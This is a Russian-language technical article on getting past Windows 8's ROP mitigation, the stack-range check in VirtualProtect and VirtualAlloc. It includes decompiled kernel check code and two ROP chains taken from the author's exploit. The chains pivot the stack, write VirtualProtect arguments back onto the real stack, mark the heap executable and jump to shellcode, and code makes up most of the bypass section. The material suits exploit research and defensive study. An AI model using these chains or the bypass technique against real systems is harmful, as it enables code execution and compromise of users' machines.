Обход защиты от ROP в Windows 8

Обход защиты от ROP в Windows 8

В Windows 8 было добавлено ряд нововведений, касающихся защиты от эксплоитов, включая защиту пользовательской кучи (userland heap) и кучи ядра (kernel heap), защиту от использования разыменований нулевого указателя в режиме ядра (kernel-mode) и защиту от неправильной эксплуатации таблиц указателей на виртуальные функции. Одно из нововведений связано с защитой от эксплоитов, использующих возвратно-ориентированное программирование (Return-oriented programming, ROP).

Автор: c0decstuff

В Windows 8 было добавлено ряд нововведений, касающихся защиты от эксплоитов, включая защиту пользовательской кучи (userland heap) и кучи ядра (kernel heap), защиту от использования разыменований нулевого указателя в режиме ядра (kernel-mode) и защиту от неправильной эксплуатации таблиц указателей на виртуальные функции. Одно из нововведений связано с защитой от эксплоитов, использующих возвратно-ориентированное программирование (Return-oriented programming, ROP).

Возвратно-ориентированное программирование

Возвратно-ориентированное программирование является обобщением классических return-to-libc атак, когда последовательно выполняются небольшие участки инструкций, которые обычно находятся в конце функций, находящихся по известным адресам. Это достигается за счет управления данными, на которые указывает ESP, указатель вершины стека, так, что каждая ret-инструкция увеличивает значение регистра и ESP и передает выполнение по следующему адресу, выбранному злоумышленником.

Поскольку поиск нужной последовательности кода («гаджетов») может вызвать затруднения, большинство ROP-эксплоитов вначале создают участок памяти, выставляют у него права на запись и выполнения кода, а потом в этот участок копируется запускаемый шеллкод. Наиболее часто используемые функции – VirtualProtect, которая изменяет права доступа на сегмент, и VirtualAlloc, которая создает новый участок памяти. Существуют и другие реализации.

Второй общей чертой многих ROP-эксплоитов является то, что основной код (payload) не содержится в стеке потока в связи с характером уязвимости либо ограничением на добавление кода в адресное пространство уязвимого приложения. В большинстве случаев основной код располагается в куче, а в стеке находится указатель на кучу.

Механизмы защиты Windows 8 от ROP-эксплоитов

Microsoft, очевидно зная о двух вышеупомянутых особенностях, реализовала простенькую защиту в операционной системе Windows 8. Теперь каждая функция, которая работает с виртуальной памятью, включая наиболее известные VirtualProtect и VirtualAlloc, проверяет, попадает ли диапазон стека (как указано в структуре trap frame) в диапазон определенный блоком окружения потока (Thread Environment Block, TEB). Ниже приводится код от Алекса Ионеску (Alex Ionescu) для реализации такой защиты:

char __cdecl PsValidateUserStack()
{
char Status; // al@1
_KTRAP_FRAME *TrapFrame; // ecx@3
_TEB *Teb; // ecx@3
void *.Eip; // [sp+10h] [bp-88h]@3
unsigned int .Esp; // [sp+14h] [bp-84h]@3
void *StackLimit; // [sp+18h] [bp-80h]@3
void *StackBase; // [sp+1Ch] [bp-7Ch]@3
_EXCEPTION_RECORD ExitStatus; // [sp+24h] [bp-74h]@6
CPPEH_RECORD ms_exc; // [sp+80h] [bp-18h]@3

CurrentThread = (_ETHREAD *)__readfsdword(0x124u);
Status = LOBYTE(CurrentThread->Tcb.___u42.UserAffinity.Reserved[0]);// // PreviousMode == User
if ( Status )
{
__asm { bt dword ptr [edx+58h], 13h } // // KernelStackResident, ReadyTransition, Alertable
Status = _CF;
if ( _CF != 1 )
{
TrapFrame = CurrentThread->Tcb.TrapFrame;
.Esp = TrapFrame->HardwareEsp;
.Eip = (void *)TrapFrame->Eip;
Teb = (_TEB *)CurrentThread->Tcb.Teb;
ms_exc.disabled = 0;
StackLimit = Teb->DeallocationStack;
StackBase = Teb->NtTib.StackBase;
ms_exc.disabled = -2;
Status = .Esp;
if ( .Esp < (unsigned int)StackLimit || .Esp >= (unsigned int)StackBase )
{
memset(&ExitStatus, 0, 0x50u);
ExitStatus.ExceptionCode = STATUS_STACK_BUFFER_OVERRUN;
ExitStatus.ExceptionAddress = .Eip;
ExitStatus.NumberParameters = 2;
ExitStatus.ExceptionInformation[0] = 4;
ExitStatus.ExceptionInformation[1] = .Esp;
Status = DbgkForwardException(&ExitStatus, 1, 1);
if ( !Status )
{
Status = DbgkForwardException(&ExitStatus, 0, 1);
if ( !Status )
Status = ZwTerminateProcess((HANDLE)0xFFFFFFFF, ExitStatus.ExceptionCode);
}
}
}
}
return Status;
}

Теперь эксплоиты, которые используют ROP-код, находящийся в куче, не могут создать сегменты памяти с правами доступа на запись и выполнение. Однако эту защиту легко обойти. Один из способов – отказаться от создания новых сегментов памяти и искать уже существующие участки кода («гаджеты»). Более простой способ обойти такую защиту поместить указатель в регистр ESPна вершину стека потока в момент вызова функций для работы с виртуальной памятью. Я полагаю, что атакующему доступен первоначальный адрес стека через какой-либо регистр, так как при занесении адреса кучи в стек используется инструкции xchg. Если это не так, возможно, будет полезно изучить методы получения адреса стека во время выполнения кода.

Обход защиты

Рассмотрим базовый ROP-код, который для примера я использовал в VCL-эксплоите. После запуска программы для изменения адреса стека используется такой «гаджет»:

xchg esi, esp
retn

В этом примере регистр ESI содержит указатель на кучу с управляемыми мной данными, и таким образом, изменив адрес стека, я могу выполнить ROP-код, который создает новые сегменты памяти:

rop = [
rop_base + 0x1022, # retn

# Call VirtualProtect()
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax
rop_base + 0x12fda, # mov eax,DWORD PTR [eax]
rop_base + 0x29d13, # jmp eax

rop_base + 0x1022, # retn
heap & ~0xfff, # lpAddress
0x60000, # dwSize
0x40, # flNewProtect
heap - 0x1000, # lpfOldProtect

# Enough of this ROP business...
rop_base + 0xdace8 # push esp; retn
]

Этот ROP-код получает адрес функции VirtualProtect из таблицы адресов импорта (Import Address Table, IAT), вызывает функцию VirtualProtect, которая устанавливает права выполнения для кучи, а затем выполняется шеллкод.

Поскольку ESP указывает на кучу, а не на стек, в момент выполнения функции VirtualProtect возникает ошибка. Однако это легко обойти, вот обновленный ROP-код:

rop = [
rop_base + 0x1022, # retn

# Пишем параметр lpfOldProtect в регистр ESI
rop_base + 0x2c283, # pop eax; retn
heap - 0x1000, # lpfOldProtect -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Пишем параметр flNewProtect в регистр ESI
rop_base + 0x2c283, # pop eax; retn
0x40, # flNewProtect -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Пишем параметр dwSize в регистр ESI
rop_base + 0x2c283, # pop eax; retn
0x60000, # dwSize -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Пишем параметр lpAddress в регистр ESI
rop_base + 0x2c283, # pop eax; retn
heap & ~0xfff, # lpAddress -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Затем пишем адрес кучи &Pivot в регистр ESI
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x229a5, # &pivot -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn

# Пишем указатель на функцию &VirtualProtect
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax
rop_base + 0x12fda, # mov eax,DWORD PTR [eax]
rop_base + 0x1db4f, # mov [esi],eax; retn

# Восстанавливаем первоначальный стек
rop_base + 0x229a5, # xchg esi,esp; retn;

# Переходим к выполнению шеллкода
rop_base + 0xdace8 # push esp; retn
]

Это очень грубый пример, но я надеюсь, идея будет вам понятна. Вначале я сохраняю аргументы для функции VirtualProtect в первоначальный стек, находящийся в регистре ESI. Далее в регистр ESI я поместил адрес кучи, который будет возвращен после выполнения функции VirtualProtect. В конце я использую все тот же «гаджет» для восстановления исходного адреса стека и перехода к выполнению функции VirtualProtect.

Из-за того, что я каждый раз уменьшал значение регистра ESI без использования «гаджета», размер эксплоита увеличился на 124 байта. Вероятно, его размер можно уменьшить. В остальных случаях, полагаю, можно реализовать такой алгоритм с намного меньшими издержками.

Ваша приватность умирает красиво, но мы можем спасти её.

Присоединяйтесь к нам!